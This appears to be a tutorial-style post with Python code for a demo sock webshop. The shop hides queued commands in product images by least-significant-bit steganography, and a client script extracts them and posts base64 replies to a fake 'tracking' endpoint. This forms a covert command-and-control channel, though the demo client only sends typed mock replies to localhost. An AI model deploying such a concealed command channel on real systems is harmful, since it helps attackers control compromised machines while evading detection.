Using LSB To Hide Data In My Socks

from PIL import Image
import sys

# python3 convert.py ./webshop/static/img/socks-1.webp ./webshop/static/img/socks-1.png
if __name__ == "__main__": 
    if len(sys.argv) != 3:
        print("Usage: python convert.py <input_image.*> <output.png>")
        exit()
    image = Image.open(sys.argv[1])
    image.save(sys.argv[2], 'PNG')

from bin.steganography import *
from bin.controller import *
from flask import Flask, render_template, request
from json import loads

app = Flask(__name__)

def __get_products():
    """ Load the JSON product catalog from disk. """
    with open('data/products.json', 'r', encoding='utf8') as product_file:
        return loads(product_file.read())

# curl -H "X-Tracking-For: 0f732d5e" http://localhost:80
@app.route('/')
def index():
    """ Serve the static product catalog. If X-Tracking-For header is present, embed data in the first product image using the Steganography class. """
    products = __get_products()
    client = request.headers.get('X-Tracking-For')
    source_image = products[0]['image_url']
    (id, cmd) = Controller.get_next_command(client, source_image)
    if len(cmd or '') > 0:
        products[0]['image_url'] = Steganography.embed_data_into_image(id, source_image, cmd)
    return render_template('index.html', products=products)

# curl -H "X-Tracking-For: 0f732d5e" -H "Content-Type: application/json" -X POST http://localhost:80/api/tracking -d '{"timestamp":1736602824,"result":"cnV0Z2VyCg=="}'
@app.route('/api/tracking', methods=['POST'])
def post_tracking():
    """ Receive data from a client. Attempt to process it. """
    data = request.get_json()
    Controller.persist_result(request.headers.get('X-Tracking-For'), data['timestamp'], data['result'])
    return '', 201

if __name__ == '__main__':
    app.run(debug=True, port=80, host='0.0.0.0')

from json import loads, dumps
from base64 import b64encode, b64decode
from werkzeug.utils import secure_filename
from uuid import uuid4
from bin.steganography import Steganography

import os

class Controller:
    @staticmethod
    def get_next_command(id, source_image) -> tuple:
        """ Attempt to open the client file. Fetch and encode the next command. Save location where the image will be stored. """ 
        target = os.path.join('data', secure_filename(f"client-{id}.json"))
        if not id or not os.path.exists(target): return (None, None)
        with open(target, 'r', encoding='utf8') as text_file:
            client = loads(text_file.read())
            for command in client['commands']:
                if not 'rsp' in command:
                    cmd = command['cmd']
                    print(f"[!] Embedding command for client {id}:\n\t{cmd}")
                    id = str(uuid4()).split('-')[0]
                    response = dumps({ 'id': id, 'ts': command['ts'], 'cmd': cmd})
                    command['lsb_image'] = Steganography.get_target_path_for_client(source_image, id)
                    text_file.close()
                    Controller.write_to_file(target, client)

                    return (id, b64encode(response.encode()).decode())
        return (None, None)
    
    @staticmethod
    def persist_result(key, id, result):
        """ Attempt to open the client file. Decode and store the response. Delete the created image. """ 
        target = os.path.join('data', secure_filename(f"client-{key}.json"))
        if not key or not os.path.exists(target): return '', 404
        with open(target, 'r', encoding='utf8') as text_file:
            client = loads(text_file.read())
            for command in client['commands']:
                if str(command['ts']) == str(id):
                    command['rsp'] = b64decode(result).decode('utf-8')
                    text_file.close()
                    if os.path.exists(command['lsb_image']):
                        os.remove(command['lsb_image'])
                    command['lsb_image'] = None
                    Controller.write_to_file(target, client)
                    break

    @staticmethod
    def write_to_file(file: str, current: dict):
        """ Write the client dictionary to disk. """ 
        with open(file, 'w', encoding='utf8') as text_file:
            text_file.write(dumps(current))

from PIL import Image
from os.path import splitext

class Steganography:
    @staticmethod
    def get_target_path_for_client(source_image: str, id: str) -> str:
        (name, ext) = splitext(source_image)
        return f".{name}-{id}{ext}"

    @staticmethod
    def embed_data_into_image(id: str, source_image: str, encoded_data: str):
        payload_length = len(encoded_data)
        length_binary = format(payload_length, '032b') # Convert to a (padded) 32 bits binary string.
        separator = "±"

        # Format the separator and encoded data as a binary string.
        # Convert each character to ASCII, then convert it to a 8 bit binary string.
        encoded_data = length_binary + ''.join(format(ord(c), '08b') for c in separator) + ''.join(format(ord(c), '08b') for c in encoded_data)
        image = Image.open(source_image.lstrip('/'))
        pixels = image.load()
        max_data_size = image.width * image.height * 3 # RGB
        if (len(length_binary) + len(encoded_data)) > max_data_size:
            print("Error: Image is too small to hide the data.")
            exit()

        data_index = 0
        for y in range(image.height): # Loop through the grid of pixels.
            for x in range(image.width):
                if data_index < len(encoded_data): # Verify there's data left to be embedded.
                    pixel = list(pixels[x, y])
                    for i in range(3): # RGB 
                        if data_index < len(encoded_data): # Double check there's data left.
                            """ 
                                The following line modifies a specific pixel by embedding a bit of data from encoded_data at the LSB of the pixel, 
                                where pixel[i] & ~1 clears the LSB (sets it to 0), and | int(encoded_data[data_index]) sets the LSB to the corresponding bit of the data to hide (either 0 or 1).
                            """
                            pixel[i] = (pixel[i] & ~1) | int(encoded_data[data_index])
                            data_index += 1
                    pixels[x, y] = tuple(pixel)
        output_image = Steganography.get_target_path_for_client(source_image, id)
        image.save(output_image, 'PNG')
        return f"/{output_image.lstrip('./')}"

from PIL import Image

import urllib, urllib.request, urllib.response, re, base64, json

def extract_data(data: bytes):
    image = Image.open(data)
    pixels = image.load()

    # Extract the binary data from the image
    binary_data = ''
    for y in range(image.height):
        for x in range(image.width):
            pixel = list(pixels[x, y])
            # Perform a bitwise AND operation (pixel[i] & 1) from each RGB channel to extract the LSB. 
            # Append it to binary_data.
            for i in range(3):
                binary_data += str(pixel[i] & 1)

    # Extract the 32-bit length of the hidden data
    payload_length = int(binary_data[:32], 2)
    
    # Look for the binary string separator "±"
    separator_binary = ''.join(format(ord(c), '08b') for c in "±")
    separator_pos = binary_data.find(separator_binary)
    if separator_pos == -1: exit()

    # Get the hidden data after the separator
    data_start_pos = separator_pos + len(separator_binary)
    hidden_data_bin = binary_data[data_start_pos:data_start_pos + payload_length * 8]

    # Convert the binary data back to characters
    hidden_data = ''
    """
        This loop iterates through the hidden_data_bin string in chunks of 8 bits (1 byte at a time), 
        converts each 8-bit segment (byte) from binary to its corresponding integer using int(byte, 2), 
        then converts that integer to its character representation using chr(), and appends the resulting character 
        to the hidden_data string, reconstructing the original hidden data from its binary form.
    """
    for i in range(0, len(hidden_data_bin), 8):
        byte = hidden_data_bin[i:i + 8]
        hidden_data += chr(int(byte, 2))

    return hidden_data

if __name__ == '__main__':
    headers = { 'X-Tracking-For': '0f732d5e' } # Demo client 
    request = urllib.request.Request('http://127.0.0.1/', headers=headers)
    response = urllib.request.urlopen(request) # Fetch the product catalog
    content = response.read().decode('utf-8')
    # Find the image(s) containing an ID using regex.
    for match in re.findall(r'/static/img/socks-\d-[a-f0-9]+.png', content, re.RegexFlag.MULTILINE):
        img_request = urllib.request.Request(f"http://127.0.0.1{match}")
        response = urllib.request.urlopen(img_request) # Fetch the image 
        hidden_data = extract_data(response) # Extract the hidden data
        data = json.loads(base64.b64decode(hidden_data).decode()) # Base64 decode and print it

        print(f"Received command:\n{data['cmd']}")
        
        # Mock the response (input) and encode it. Build the response object and post it back to the server.
        mock = base64.b64encode(input('Enter mock response:\n').encode('utf8')).decode()
        result = { 'timestamp': data['ts'], 'result': mock }
        data = json.dumps(result).encode('utf8')
        headers['Content-Type'] = 'application/json'
        result_request = urllib.request.Request('http://127.0.0.1/api/tracking', headers=headers, data=data, method='POST')
        urllib.request.urlopen(result_request)